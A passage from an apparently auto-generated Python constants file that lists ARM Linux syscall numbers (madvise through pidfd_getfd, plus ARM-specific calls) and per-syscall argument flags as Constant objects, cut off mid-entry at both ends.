Constant('__NR_madvise',(0+220)) __NR_fcntl64 = Constant('__NR_fcntl64',(0+221)) __NR_gettid = Constant('__NR_gettid',(0+224)) __NR_readahead = Constant('__NR_readahead',(0+225)) __NR_setxattr = Constant('__NR_setxattr',(0+226)) __NR_lsetxattr = Constant('__NR_lsetxattr',(0+227)) __NR_fsetxattr = Constant('__NR_fsetxattr',(0+228)) __NR_getxattr = Constant('__NR_getxattr',(0+229)) __NR_lgetxattr = Constant('__NR_lgetxattr',(0+230)) __NR_fgetxattr = Constant('__NR_fgetxattr',(0+231)) __NR_listxattr = Constant('__NR_listxattr',(0+232)) __NR_llistxattr = Constant('__NR_llistxattr',(0+233)) __NR_flistxattr = Constant('__NR_flistxattr',(0+234)) __NR_removexattr = Constant('__NR_removexattr',(0+235)) __NR_lremovexattr = Constant('__NR_lremovexattr',(0+236)) __NR_fremovexattr = Constant('__NR_fremovexattr',(0+237)) __NR_tkill = Constant('__NR_tkill',(0+238)) __NR_sendfile64 = Constant('__NR_sendfile64',(0+239)) __NR_futex = Constant('__NR_futex',(0+240)) __NR_sched_setaffinity = Constant('__NR_sched_setaffinity',(0+241)) __NR_sched_getaffinity = Constant('__NR_sched_getaffinity',(0+242)) __NR_io_setup = Constant('__NR_io_setup',(0+243)) __NR_io_destroy = Constant('__NR_io_destroy',(0+244)) __NR_io_getevents = Constant('__NR_io_getevents',(0+245)) __NR_io_submit = Constant('__NR_io_submit',(0+246)) __NR_io_cancel = Constant('__NR_io_cancel',(0+247)) __NR_exit_group = Constant('__NR_exit_group',(0+248)) __NR_lookup_dcookie = Constant('__NR_lookup_dcookie',(0+249)) __NR_epoll_create = Constant('__NR_epoll_create',(0+250)) __NR_epoll_ctl = Constant('__NR_epoll_ctl',(0+251)) __NR_epoll_wait = Constant('__NR_epoll_wait',(0+252)) __NR_remap_file_pages = Constant('__NR_remap_file_pages',(0+253)) __NR_set_tid_address = Constant('__NR_set_tid_address',(0+256)) __NR_timer_create = Constant('__NR_timer_create',(0+257)) __NR_timer_settime = Constant('__NR_timer_settime',(0+258)) __NR_timer_gettime = Constant('__NR_timer_gettime',(0+259)) __NR_timer_getoverrun = Constant('__NR_timer_getoverrun',(0+260)) __NR_timer_delete = Constant('__NR_timer_delete',(0+261)) __NR_clock_settime = Constant('__NR_clock_settime',(0+262)) __NR_clock_gettime = Constant('__NR_clock_gettime',(0+263)) __NR_clock_getres = Constant('__NR_clock_getres',(0+264)) __NR_clock_nanosleep = Constant('__NR_clock_nanosleep',(0+265)) __NR_statfs64 = Constant('__NR_statfs64',(0+266)) __NR_fstatfs64 = Constant('__NR_fstatfs64',(0+267)) __NR_tgkill = Constant('__NR_tgkill',(0+268)) __NR_utimes = Constant('__NR_utimes',(0+269)) __NR_arm_fadvise64_64 = Constant('__NR_arm_fadvise64_64',(0+270)) __NR_pciconfig_iobase = Constant('__NR_pciconfig_iobase',(0+271)) __NR_pciconfig_read = Constant('__NR_pciconfig_read',(0+272)) __NR_pciconfig_write = Constant('__NR_pciconfig_write',(0+273)) __NR_mq_open = Constant('__NR_mq_open',(0+274)) __NR_mq_unlink = Constant('__NR_mq_unlink',(0+275)) __NR_mq_timedsend = Constant('__NR_mq_timedsend',(0+276)) __NR_mq_timedreceive = Constant('__NR_mq_timedreceive',(0+277)) __NR_mq_notify = Constant('__NR_mq_notify',(0+278)) __NR_mq_getsetattr = Constant('__NR_mq_getsetattr',(0+279)) __NR_waitid = Constant('__NR_waitid',(0+280)) __NR_socket = Constant('__NR_socket',(0+281)) __NR_bind = Constant('__NR_bind',(0+282)) __NR_connect = Constant('__NR_connect',(0+283)) __NR_listen = Constant('__NR_listen',(0+284)) __NR_accept = Constant('__NR_accept',(0+285)) __NR_getsockname = Constant('__NR_getsockname',(0+286)) __NR_getpeername = Constant('__NR_getpeername',(0+287)) __NR_socketpair = Constant('__NR_socketpair',(0+288)) __NR_send = Constant('__NR_send',(0+289)) __NR_sendto = Constant('__NR_sendto',(0+290)) __NR_recv = Constant('__NR_recv',(0+291)) __NR_recvfrom = Constant('__NR_recvfrom',(0+292)) __NR_shutdown = Constant('__NR_shutdown',(0+293)) __NR_setsockopt = Constant('__NR_setsockopt',(0+294)) __NR_getsockopt = Constant('__NR_getsockopt',(0+295)) __NR_sendmsg = Constant('__NR_sendmsg',(0+296)) __NR_recvmsg = Constant('__NR_recvmsg',(0+297)) __NR_semop = Constant('__NR_semop',(0+298)) __NR_semget = Constant('__NR_semget',(0+299)) __NR_semctl = Constant('__NR_semctl',(0+300)) __NR_msgsnd = Constant('__NR_msgsnd',(0+301)) __NR_msgrcv = Constant('__NR_msgrcv',(0+302)) __NR_msgget = Constant('__NR_msgget',(0+303)) __NR_msgctl = Constant('__NR_msgctl',(0+304)) __NR_shmat = Constant('__NR_shmat',(0+305)) __NR_shmdt = Constant('__NR_shmdt',(0+306)) __NR_shmget = Constant('__NR_shmget',(0+307)) __NR_shmctl = Constant('__NR_shmctl',(0+308)) __NR_add_key = Constant('__NR_add_key',(0+309)) __NR_request_key = Constant('__NR_request_key',(0+310)) __NR_keyctl = Constant('__NR_keyctl',(0+311)) __NR_semtimedop = Constant('__NR_semtimedop',(0+312)) __NR_vserver = Constant('__NR_vserver',(0+313)) __NR_ioprio_set = Constant('__NR_ioprio_set',(0+314)) __NR_ioprio_get = Constant('__NR_ioprio_get',(0+315)) __NR_inotify_init = Constant('__NR_inotify_init',(0+316)) __NR_inotify_add_watch = Constant('__NR_inotify_add_watch',(0+317)) __NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',(0+318)) __NR_mbind = Constant('__NR_mbind',(0+319)) __NR_get_mempolicy = Constant('__NR_get_mempolicy',(0+320)) __NR_set_mempolicy = Constant('__NR_set_mempolicy',(0+321)) __NR_openat = Constant('__NR_openat',(0+322)) __NR_mkdirat = Constant('__NR_mkdirat',(0+323)) __NR_mknodat = Constant('__NR_mknodat',(0+324)) __NR_fchownat = Constant('__NR_fchownat',(0+325)) __NR_futimesat = Constant('__NR_futimesat',(0+326)) __NR_fstatat64 = Constant('__NR_fstatat64',(0+327)) __NR_unlinkat = Constant('__NR_unlinkat',(0+328)) __NR_renameat = Constant('__NR_renameat',(0+329)) __NR_linkat = Constant('__NR_linkat',(0+330)) __NR_symlinkat = Constant('__NR_symlinkat',(0+331)) __NR_readlinkat = Constant('__NR_readlinkat',(0+332)) __NR_fchmodat = Constant('__NR_fchmodat',(0+333)) __NR_faccessat = Constant('__NR_faccessat',(0+334)) __NR_unshare = Constant('__NR_unshare',(0+337)) __NR_set_robust_list = Constant('__NR_set_robust_list',(0+338)) __NR_get_robust_list = Constant('__NR_get_robust_list',(0+339)) __NR_splice = Constant('__NR_splice',(0+340)) __NR_arm_sync_file_range = Constant('__NR_arm_sync_file_range',(0+341)) __NR_tee = Constant('__NR_tee',(0+342)) __NR_vmsplice = Constant('__NR_vmsplice',(0+343)) __NR_move_pages = Constant('__NR_move_pages',(0+344)) __NR_getcpu = Constant('__NR_getcpu',(0+345)) __NR_kexec_load = Constant('__NR_kexec_load',(0+347)) __NR_utimensat = Constant('__NR_utimensat',(0+348)) __NR_signalfd = Constant('__NR_signalfd',(0+349)) __NR_timerfd = Constant('__NR_timerfd',(0+350)) __NR_eventfd = Constant('__NR_eventfd',(0+351)) __NR_fallocate = Constant('__NR_fallocate',(0+352)) __NR_timerfd_settime = Constant('__NR_timerfd_settime',(0+353)) __NR_timerfd_gettime = Constant('__NR_timerfd_gettime',(0+354)) __NR_signalfd4 = Constant('__NR_signalfd4',(0+355)) __NR_eventfd2 = Constant('__NR_eventfd2',(0+356)) __NR_epoll_create1 = Constant('__NR_epoll_create1',(0+357)) __NR_dup3 = Constant('__NR_dup3',(0+358)) __NR_pipe2 = Constant('__NR_pipe2',(0+359)) __NR_inotify_init1 = Constant('__NR_inotify_init1',(0+360)) __NR_preadv = Constant('__NR_preadv',(0+361)) __NR_pwritev = Constant('__NR_pwritev',(0+362)) __NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',(0+363)) __NR_perf_event_open = Constant('__NR_perf_event_open',(0+364)) __NR_recvmmsg = Constant('__NR_recvmmsg',(0+365)) __NR_accept4 = Constant('__NR_accept4',(0+366)) __NR_fanotify_init = Constant('__NR_fanotify_init',(0+367)) __NR_fanotify_mark = Constant('__NR_fanotify_mark',(0+368)) __NR_prlimit64 = Constant('__NR_prlimit64',(0+369)) __NR_name_to_handle_at = Constant('__NR_name_to_handle_at',(0+370)) __NR_open_by_handle_at = Constant('__NR_open_by_handle_at',(0+371)) __NR_clock_adjtime = Constant('__NR_clock_adjtime',(0+372)) __NR_syncfs = Constant('__NR_syncfs',(0+373)) __NR_sendmmsg = Constant('__NR_sendmmsg',(0+374)) __NR_setns = Constant('__NR_setns',(0+375)) __NR_process_vm_readv = Constant('__NR_process_vm_readv',(0+376)) __NR_process_vm_writev = Constant('__NR_process_vm_writev',(0+377)) __NR_kcmp = Constant('__NR_kcmp',(0+378)) __NR_finit_module = Constant('__NR_finit_module',(0+379)) __NR_sched_setattr = Constant('__NR_sched_setattr',(0+380)) __NR_sched_getattr = Constant('__NR_sched_getattr',(0+381)) __NR_renameat2 = Constant('__NR_renameat2',(0+382)) __NR_seccomp = Constant('__NR_seccomp',(0+383)) __NR_getrandom = Constant('__NR_getrandom',(0+384)) __NR_memfd_create = Constant('__NR_memfd_create',(0+385)) __NR_bpf = Constant('__NR_bpf',(0+386)) __NR_execveat = Constant('__NR_execveat',(0+387)) __NR_userfaultfd = Constant('__NR_userfaultfd',(0+388)) __NR_membarrier = Constant('__NR_membarrier',(0+389)) __NR_mlock2 = Constant('__NR_mlock2',(0+390)) __NR_copy_file_range = Constant('__NR_copy_file_range',(0+391)) __NR_preadv2 = Constant('__NR_preadv2',(0+392)) __NR_pwritev2 = Constant('__NR_pwritev2',(0+393)) __NR_pkey_mprotect = Constant('__NR_pkey_mprotect',(0 + 394)) __NR_pkey_alloc = Constant('__NR_pkey_alloc',(0 + 395)) __NR_pkey_free = Constant('__NR_pkey_free',(0 + 396)) __NR_statx = Constant('__NR_statx',(0 + 397)) __NR_rseq = Constant('__NR_rseq',(0 + 398)) __NR_io_pgetevents = Constant('__NR_io_pgetevents',(0 + 399)) __NR_migrate_pages = Constant('__NR_migrate_pages',(0 + 400)) __NR_kexec_file_load = Constant('__NR_kexec_file_load',(0 + 401)) __NR_clock_gettime64 = Constant('__NR_clock_gettime64',(0 + 403)) __NR_clock_settime64 = Constant('__NR_clock_settime64',(0 + 404)) __NR_clock_adjtime64 = Constant('__NR_clock_adjtime64',(0 + 405)) __NR_clock_getres_time64 = Constant('__NR_clock_getres_time64',(0 + 406)) __NR_clock_nanosleep_time64 = Constant('__NR_clock_nanosleep_time64',(0 + 407)) __NR_timer_gettime64 = Constant('__NR_timer_gettime64',(0 + 408)) __NR_timer_settime64 = Constant('__NR_timer_settime64',(0 + 409)) __NR_timerfd_gettime64 = Constant('__NR_timerfd_gettime64',(0 + 410)) __NR_timerfd_settime64 = Constant('__NR_timerfd_settime64',(0 + 411)) __NR_utimensat_time64 = Constant('__NR_utimensat_time64',(0 + 412)) __NR_pselect6_time64 = Constant('__NR_pselect6_time64',(0 + 413)) __NR_ppoll_time64 = Constant('__NR_ppoll_time64',(0 + 414)) __NR_io_pgetevents_time64 = Constant('__NR_io_pgetevents_time64',(0 + 416)) __NR_recvmmsg_time64 = Constant('__NR_recvmmsg_time64',(0 + 417)) __NR_mq_timedsend_time64 = Constant('__NR_mq_timedsend_time64',(0 + 418)) __NR_mq_timedreceive_time64 = Constant('__NR_mq_timedreceive_time64',(0 + 419)) __NR_semtimedop_time64 = Constant('__NR_semtimedop_time64',(0 + 420)) __NR_rt_sigtimedwait_time64 = Constant('__NR_rt_sigtimedwait_time64',(0 + 421)) __NR_futex_time64 = Constant('__NR_futex_time64',(0 + 422)) __NR_sched_rr_get_interval_time64 = Constant('__NR_sched_rr_get_interval_time64',(0 + 423)) __NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',(0 + 424)) __NR_io_uring_setup = Constant('__NR_io_uring_setup',(0 + 425)) __NR_io_uring_enter = Constant('__NR_io_uring_enter',(0 + 426)) __NR_io_uring_register = Constant('__NR_io_uring_register',(0 + 427)) __NR_open_tree = Constant('__NR_open_tree',(0 + 428)) __NR_move_mount = Constant('__NR_move_mount',(0 + 429)) __NR_fsopen = Constant('__NR_fsopen',(0 + 430)) __NR_fsconfig = Constant('__NR_fsconfig',(0 + 431)) __NR_fsmount = Constant('__NR_fsmount',(0 + 432)) __NR_fspick = Constant('__NR_fspick',(0 + 433)) __NR_pidfd_open = Constant('__NR_pidfd_open',(0 + 434)) __NR_clone3 = Constant('__NR_clone3',(0 + 435)) __NR_openat2 = Constant('__NR_openat2',(0 + 437)) __NR_pidfd_getfd = Constant('__NR_pidfd_getfd',(0 + 438)) __ARM_NR_BASE = Constant('__ARM_NR_BASE',(0+0x0f0000)) __ARM_NR_breakpoint = Constant('__ARM_NR_breakpoint',((0+0x0f0000)+1)) __ARM_NR_cacheflush = Constant('__ARM_NR_cacheflush',((0+0x0f0000)+2)) __ARM_NR_usr26 = Constant('__ARM_NR_usr26',((0+0x0f0000)+3)) __ARM_NR_usr32 = Constant('__ARM_NR_usr32',((0+0x0f0000)+4)) __ARM_NR_set_tls = Constant('__ARM_NR_set_tls',((0+0x0f0000)+5)) __ARGS_exit = Constant('__ARGS_exit',0) __ARGS_fork = Constant('__ARGS_fork',0) __ARGS_read = Constant('__ARGS_read',0) __ARGS_write = Constant('__ARGS_write',0) __ARGS_open = Constant('__ARGS_open',0) __ARGS_close = Constant('__ARGS_close',0) __ARGS_waitpid = Constant('__ARGS_waitpid',0) __ARGS_creat = Constant('__ARGS_creat',0) __ARGS_link = Constant('__ARGS_link',0) __ARGS_unlink = Constant('__ARGS_unlink',0) __ARGS_execve = Constant('__ARGS_execve',0) __ARGS_chdir = Constant('__ARGS_chdir',0) __ARGS_time = Constant('__ARGS_time',0) __ARGS_mknod = Constant('__ARGS_mknod',0) __ARGS_chmod = Constant('__ARGS_chmod',0) __ARGS_lchown = Constant('__ARGS_lchown',0) __ARGS_break = Constant('__ARGS_break',0) __ARGS_lseek = Constant('__ARGS_lseek',0) __ARGS_getpid = Constant('__ARGS_getpid',0) __ARGS_mount = Constant('__ARGS_mount',1) __ARGS_umount = Constant('__ARGS_umount',0) __ARGS_setuid = Constant('__ARGS_setuid',0) __ARGS_getuid = Constant('__ARGS_getuid',0) __ARGS_stime = Constant('__ARGS_stime',0) __ARGS_ptrace = Constant('__ARGS_ptrace',0) __ARGS_alarm = Constant('__ARGS_alarm',0) __ARGS_pause = Constant('__ARGS_pause',0) __ARGS_utime = Constant('__ARGS_utime',0) __ARGS_stty = Constant('__ARGS_stty',0) __ARGS_gtty = Constant('__ARGS_gtty',0) __ARGS_access = Constant('__ARGS_access',0) __ARGS_nice = Constant('__ARGS_nice',0) __ARGS_ftime = Constant('__ARGS_ftime',0) __ARGS_sync = Constant('__ARGS_sync',0) __ARGS_kill = Constant('__ARGS_kill',0) __ARGS_rename = Constant('__ARGS_rename',0) __ARGS_mkdir = Constant('__ARGS_mkdir',0) __ARGS_rmdir = Constant('__ARGS_rmdir',0) __ARGS_dup = Constant('__ARGS_dup',0) __ARGS_pipe = Constant('__ARGS_pipe',0) __ARGS_times = Constant('__ARGS_times',0) __ARGS_prof = Constant('__ARGS_prof',0) __ARGS_brk = Constant('__ARGS_brk',0) __ARGS_setgid = Constant('__ARGS_setgid',0) __ARGS_getgid = Constant('__ARGS_getgid',0) __ARGS_signal = Constant('__ARGS_signal',0) __ARGS_geteuid = Constant('__ARGS_geteuid',0) __ARGS_getegid = Constant('__ARGS_getegid',0) __ARGS_acct = Constant('__ARGS_acct',0) __ARGS_umount2 = Constant('__ARGS_umount2',0) __ARGS_lock = Constant('__ARGS_lock',0) __ARGS_ioctl = Constant('__ARGS_ioctl',0) __ARGS_fcntl = Constant('__ARGS_fcntl',0) __ARGS_mpx = Constant('__ARGS_mpx',0) __ARGS_setpgid = Constant('__ARGS_setpgid',0) __ARGS_ulimit = Constant('__ARGS_ulimit',0) __ARGS_umask = Constant('__ARGS_umask',0) __ARGS_chroot = Constant('__ARGS_chroot',0) __ARGS_ustat = Constant('__ARGS_ustat',0) __ARGS_dup2 = Constant('__ARGS_dup2',0) __ARGS_getppid = Constant('__ARGS_getppid',0) __ARGS_getpgrp = Constant('__ARGS_getpgrp',0) __ARGS_setsid = Constant('__ARGS_setsid',0) __ARGS_sigaction = Constant('__ARGS_sigaction',0) __ARGS_sgetmask = Constant('__ARGS_sgetmask',0) __ARGS_ssetmask = Constant('__ARGS_ssetmask',0) __ARGS_setreuid = Constant('__ARGS_setreuid',0) __ARGS_setregid = Constant('__ARGS_setregid',0) __ARGS_sigsuspend = Constant('__ARGS_sigsuspend',0) __ARGS_sigpending = Constant('__ARGS_sigpending',0) __ARGS_sethostname = Constant('__ARGS_sethostname',0) __ARGS_setrlimit = Constant('__ARGS_setrlimit',0) __ARGS_getrlimit = Constant('__ARGS_getrlimit',0) __ARGS_getrusage = Constant('__ARGS_getrusage',0) __ARGS_gettimeofday = Constant('__ARGS_gettimeofday',0) __ARGS_settimeofday = Constant('__ARGS_settimeofday',0) __ARGS_getgroups = Constant('__ARGS_getgroups',0) __ARGS_setgroups = Constant('__ARGS_setgroups',0) __ARGS_select = Constant('__ARGS_select',0) __ARGS_symlink = Constant('__ARGS_symlink',0) __ARGS_readlink = Constant('__ARGS_readlink',0) __ARGS_uselib = Constant('__ARGS_uselib',0) __ARGS_swapon = Constant('__ARGS_swapon',0) __ARGS_reboot = Constant('__ARGS_reboot',0) __ARGS_readdir = Constant('__ARGS_readdir',0) __ARGS_mmap = Constant('__ARGS_mmap',0) __ARGS_munmap = Constant('__ARGS_munmap',0) __ARGS_truncate = Constant('__ARGS_truncate',0) __ARGS_ftruncate = Constant('__ARGS_ftruncate',0) __ARGS_fchmod = Constant('__ARGS_fchmod',0) __ARGS_fchown = Constant('__ARGS_fchown',0) __ARGS_getpriority = Constant('__ARGS_getpriority',0) __ARGS_setpriority = Constant('__ARGS_setpriority',0) __ARGS_profil = Constant('__ARGS_profil',0) __ARGS_statfs = Constant('__ARGS_statfs',0) __ARGS_fstatfs = Constant('__ARGS_fstatfs',0) __ARGS_ioperm = Constant('__ARGS_ioperm',0) __ARGS_socketcall = Constant('__ARGS_socketcall',0) __ARGS_syslog = Constant('__ARGS_syslog',0) __ARGS_setitimer = Constant('__ARGS_setitimer',0) __ARGS_getitimer = Constant('__ARGS_getitimer',0) __ARGS_stat = Constant('__ARGS_stat',0) __ARGS_lstat = Constant('__ARGS_lstat',0) __ARGS_fstat = Constant('__ARGS_fstat',0) __ARGS_vhangup = Constant('__ARGS_vhangup',0) __ARGS_idle = Constant('__ARGS_idle',0) __ARGS_syscall = Constant('__ARGS_syscall',0) __ARGS_wait4 = Constant('__ARGS_wait4',0) __ARGS_swapoff = Constant('__ARGS_swapoff',0) __ARGS_sysinfo = Constant('__ARGS_sysinfo',0) __ARGS_ipc = Constant('__ARGS_ipc',1) __ARGS_fsync = Constant('__ARGS_fsync',0) __ARGS_sigreturn = Constant('__ARGS_sigreturn',0) __ARGS_clone = Constant('__ARGS_clone',0) __ARGS_setdomainname = Constant('__ARGS_setdomainname',0) __ARGS_uname = Constant('__ARGS_uname',0) __ARGS_modify_ldt = Constant('__ARGS_modify_ldt',0) __ARGS_adjtimex = Constant('__ARGS_adjtimex',0) __ARGS_mprotect = Constant('__ARGS_mprotect',0) __ARGS_sigprocmask = Constant('__ARGS_sigprocmask',0) __ARGS_create_module = Constant('__ARGS_create_module',0) __ARGS_init_module = Constant('__ARGS_init_module',0) __ARGS_delete_module = Constant('__ARGS_delete_module',0) __ARGS_get_kernel_syms = Constant('__ARGS_get_kernel_syms',0) __ARGS_quotactl = Constant('__ARGS_quotactl',0) __ARGS_getpgid = Constant('__ARGS_getpgid',0) __ARGS_fchdir = Constant('__ARGS_fchdir',0) __ARGS_bdflush = Constant('__ARGS_bdflush',0) __ARGS_sysfs = Constant('__ARGS_sysfs',0) __ARGS_personality = Constant('__ARGS_personality',0) __ARGS_afs_syscall = Constant('__ARGS_afs_syscall',0) __ARGS_setfsuid = Constant('__ARGS_setfsuid',0) __ARGS_setfsgid = Constant('__ARGS_setfsgid',0) __ARGS__llseek = Constant('__ARGS__llseek',1) __ARGS_getdents = Constant('__ARGS_getdents',0) __ARGS__newselect = Constant('__ARGS__newselect',1) __ARGS_flock = Constant('__ARGS_flock',0) __ARGS_msync = Constant('__ARGS_msync',0) __ARGS_readv = Constant('__ARGS_readv',0) __ARGS_writev = Constant('__ARGS_writev',0) __ARGS_getsid = Constant('__ARGS_getsid',0) __ARGS_fdatasync = Constant('__ARGS_fdatasync',0) __ARGS__sysctl = Constant('__ARGS__sysctl',0) __ARGS_mlock = Constant('__ARGS_mlock',0) __ARGS_munlock = Constant('__ARGS_munlock',0) __ARGS_mlockall = Constant('__ARGS_mlockall',0) __ARGS_munlockall = Constant('__ARGS_munlockall',0) __ARGS_sched_setparam = Constant('__ARGS_sched_setparam',0) __ARGS_sched_getparam = Constant('__ARGS_sched_getparam',0) __ARGS_sched_setscheduler = Constant('__ARGS_sched_setscheduler',0) __ARGS_sched_getscheduler = Constant('__ARGS_sched_getscheduler',0) __ARGS_sched_yield = Constant('__ARGS_sched_yield',0) __ARGS_sched_get_priority_max = Constant('__ARGS_sched_get_priority_max',0) __ARGS_sched_get_priority_min = Constant('__ARGS_sched_get_priority_min',0) __ARGS_sched_rr_get_interval = Constant('__ARGS_sched_rr_get_interval',0) __ARGS_nanosleep = Constant('__ARGS_nanosleep',0) __ARGS_mremap = Constant('__ARGS_mremap',0) __ARGS_setresuid = Constant('__ARGS_setresuid',0) __ARGS_getresuid = Constant('__ARGS_getresuid',0) __ARGS_vm86 = Constant('__ARGS_vm86',0) __ARGS_query_module = Constant('__ARGS_query_module',1) __ARGS_poll = Constant('__ARGS_poll',0) __ARGS_nfsservctl = Constant('__ARGS_nfsservctl',0) __ARGS_setresgid = Constant('__ARGS_setresgid',0) __ARGS_getresgid = Constant('__ARGS_getresgid',0) __ARGS_prctl = Constant('__ARGS_prctl',1) __ARGS_rt_sigreturn = Constant('__ARGS_rt_sigreturn',0) __ARGS_rt_sigaction = Constant('__ARGS_rt_sigaction',0) __ARGS_rt_sigprocmask = Constant('__ARGS_rt_sigprocmask',0) __ARGS_rt_sigpending = Constant('__ARGS_rt_sigpending',0) __ARGS_rt_sigtimedwait = Constant('__ARGS_rt_sigtimedwait',0) __ARGS_rt_sigqueueinfo = Constant('__ARGS_rt_sigqueueinfo',0) __ARGS_rt_sigsuspend = Constant('__ARGS_rt_sigsuspend',0) __ARGS_pread = Constant('__ARGS_pread',0) __ARGS_pwrite = Constant('__ARGS_pwrite',0) __ARGS_pread64 = Constant('__ARGS_pread64',0) __ARGS_pwrite64 = Constant('__ARGS_pwrite64',0) __ARGS_chown = Constant('__ARGS_chown',0) __ARGS_getcwd = Constant('__ARGS_getcwd',0) __ARGS_capget = Constant('__ARGS_capget',0) __ARGS_capset = Constant('__ARGS_capset',0) __ARGS_sigaltstack = Constant('__ARGS_sigaltstack',0) __ARGS_sendfile = Constant('__ARGS_sendfile',0) __ARGS_vfork = Constant('__ARGS_vfork',0) __ARGS_ugetrlimit = Constant('__ARGS_ugetrlimit',0) __ARGS_mmap2 = Constant('__ARGS_mmap2',1) __ARGS_truncate64 = Constant('__ARGS_truncate64',0) __ARGS_ftruncate64 = Constant('__ARGS_ftruncate64',0) __ARGS_stat64 = Constant('__ARGS_stat64',0) __ARGS_lstat64 = Constant('__ARGS_lstat64',0) __ARGS_fstat64 = Constant('__ARGS_fstat64',0) __ARGS_lchown32 = Constant('__ARGS_lchown32',0) __ARGS_getuid32 = Constant('__ARGS_getuid32',0) __ARGS_getgid32 = Constant('__ARGS_getgid32',0) __ARGS_geteuid32 = Constant('__ARGS_geteuid32',0) __ARGS_getegid32 = Constant('__ARGS_getegid32',0) __ARGS_setreuid32 = Constant('__ARGS_setreuid32',0) __ARGS_setregid32 = Constant('__ARGS_setregid32',0) __ARGS_getgroups32 = Constant('__ARGS_getgroups32',0) __ARGS_setgroups32 = Constant('__ARGS_setgroups32',0) __ARGS_fchown32 = Constant('__ARGS_fchown32',0) __ARGS_setresuid32 = Constant('__ARGS_setresuid32',0) __ARGS_getresuid32 = Constant('__ARGS_getresuid32',0) __ARGS_setresgid32 = Constant('__ARGS_setresgid32',0) __ARGS_getresgid32 = Constant('__ARGS_getresgid32',0) __ARGS_chown32 = Constant('__ARGS_chown32',0) __ARGS_setuid32 = Constant('__ARGS_setuid32',0) __ARGS_setgid32 = Constant('__ARGS_setgid32',0) __ARGS_setfsuid32 = Constant('__ARGS_setfsuid32',0) __ARGS_setfsgid32 = Constant('__ARGS_setfsgid32',0) __ARGS_getdents64 = Constant('__ARGS_getdents64',0) __ARGS_pivot_root = Constant('__ARGS_pivot_root',0) __ARGS_mincore = Constant('__ARGS_mincore',0) __ARGS_madvise = Constant('__ARGS_madvise',0) __ARGS_fcntl64 = Constant('__ARGS_fcntl64',0) __ARGS_security = Constant('__ARGS_security',0) __ARGS_gettid = Constant('__ARGS_gettid',0) __ARGS_readahead = Constant('__ARGS_readahead',0) __ARGS_setxattr = Constant('__ARGS_setxattr',1) __ARGS_lsetxattr = Constant('__ARGS_lsetxattr',1) __ARGS_fsetxattr = Constant('__ARGS_fsetxattr',1) __ARGS_getxattr = Constant('__ARGS_getxattr',0) __ARGS_lgetxattr = Constant('__ARGS_lgetxattr',0) __ARGS_fgetxattr = Constant('__ARGS_fgetxattr',0) __ARGS_listxattr = Constant('__ARGS_listxattr',0) __ARGS_llistxattr = Constant('__ARGS_llistxattr',0) __ARGS_flistxattr = Constant('__ARGS_flistxattr',0) __ARGS_removexattr = Constant('__ARGS_removexattr',0) __ARGS_lremovexattr = Constant('__ARGS_lremovexattr',0) __ARGS_fremovexattr = Constant('__ARGS_fremovexattr',0) __ARGS_tkill = Constant('__ARGS_tkill',0) __ARGS_sendfile64 = Constant('__ARGS_sendfile64',0) __ARGS_futex = Constant('__ARGS_futex',0) __ARGS_sched_setaffinity = Constant('__ARGS_sched_setaffinity',0) __ARGS_sched_getaffinity = Constant('__ARGS_sched_getaffinity',0) __ARGS_io_setup = Constant('__ARGS_io_setup',0) __ARGS_io_destroy = Constant('__ARGS_io_destroy',0) __ARGS_io_getevents = Constant('__ARGS_io_getevents',0) __ARGS_io_submit = Constant('__ARGS_io_submit',0) __ARGS_io_cancel = Constant('__ARGS_io_cancel',0) __ARGS_exit_group = Constant('__ARGS_exit_group',0) __ARGS_lookup_dcookie = Constant('__ARGS_lookup_dcookie',0) __ARGS_epoll_create = Constant('__ARGS_epoll_create',0) __ARGS_epoll_ctl = Constant('__ARGS_epoll_ctl',0) __ARGS_epoll_wait = Constant('__ARGS_epoll_wait',0) __ARGS_remap_file_pages = Constant('__ARGS_remap_file_pages',0) __ARGS_set_thread_area = Constant('__ARGS_set_thread_area',0) __ARGS_get_thread_area = Constant('__ARGS_get_thread_area',0) __ARGS_set_tid_address = Constant('__ARGS_set_tid_address',0) __ARGS_timer_create = Constant('__ARGS_timer_create',0) __ARGS_timer_settime = Constant('__ARGS_timer_settime',0) __ARGS_timer_gettime = Constant('__ARGS_timer_gettime',0) __ARGS_timer_getoverrun = Constant('__ARGS_timer_getoverrun',0) __ARGS_timer_delete = Constant('__ARGS_timer_delete',0) __ARGS_clock_settime = Constant('__ARGS_clock_settime',0) __ARGS_clock_gettime = Constant('__ARGS_clock_gettime',0) __ARGS_clock_getres = Constant('__ARGS_clock_getres',0) __ARGS_clock_nanosleep = Constant('__ARGS_clock_nanosleep',0) __ARGS_statfs64 = Constant('__ARGS_statfs64',0) __ARGS_fstatfs64 = Constant('__ARGS_fstatfs64',0) __ARGS_tgkill = Constant('__ARGS_tgkill',0) __ARGS_utimes = Constant('__ARGS_utimes',0) __ARGS_arm_fadvise64_64 = Constant('__ARGS_arm_fadvise64_64',1) __ARGS_fadvise64 = Constant('__ARGS_fadvise64',0) __ARGS_fadvise64_64 = Constant('__ARGS_fadvise64_64',0) __ARGS_pciconfig_iobase = Constant('__ARGS_pciconfig_iobase',0) __ARGS_pciconfig_read = Constant('__ARGS_pciconfig_read',1) __ARGS_pciconfig_write = Constant('__ARGS_pciconfig_write',1) __ARGS_mq_open = Constant('__ARGS_mq_open',0) __ARGS_mq_unlink = Constant('__ARGS_mq_unlink',0) __ARGS_mq_timedsend = Constant('__ARGS_mq_timedsend',0) __ARGS_mq_timedreceive = Constant('__ARGS_mq_timedreceive',1) __ARGS_mq_notify = Constant('__ARGS_mq_notify',0) __ARGS_mq_getsetattr = Constant('__ARGS_mq_getsetattr',0) __ARGS_waitid = Constant('__ARGS_waitid',0) __ARGS_socket = Constant('__ARGS_socket',0) __ARGS_bind = Constant('__ARGS_bind',0) __ARGS_connect = Constant('__ARGS_connect',0) __ARGS_listen = Constant('__ARGS_listen',0) __ARGS_accept = Constant('__ARGS_accept',0) __ARGS_getsockname = Constant('__ARGS_getsockname',0) __ARGS_getpeername = Constant('__ARGS_getpeername',0) __ARGS_socketpair = Constant('__ARGS_socketpair',0) __ARGS_send = Constant('__ARGS_send',0) __ARGS_sendto = Constant('__ARGS_sendto',1) __ARGS_recv = Constant('__ARGS_recv',0) __ARGS_recvfrom = Constant('__ARGS_recvfrom',1) __ARGS_shutdown = Constant('__ARGS_shutdown',0) __ARGS_setsockopt = Constant('__ARGS_setsockopt',0) __ARGS_getsockopt = Constant('__ARGS_getsockopt',0) __ARGS_sendmsg = 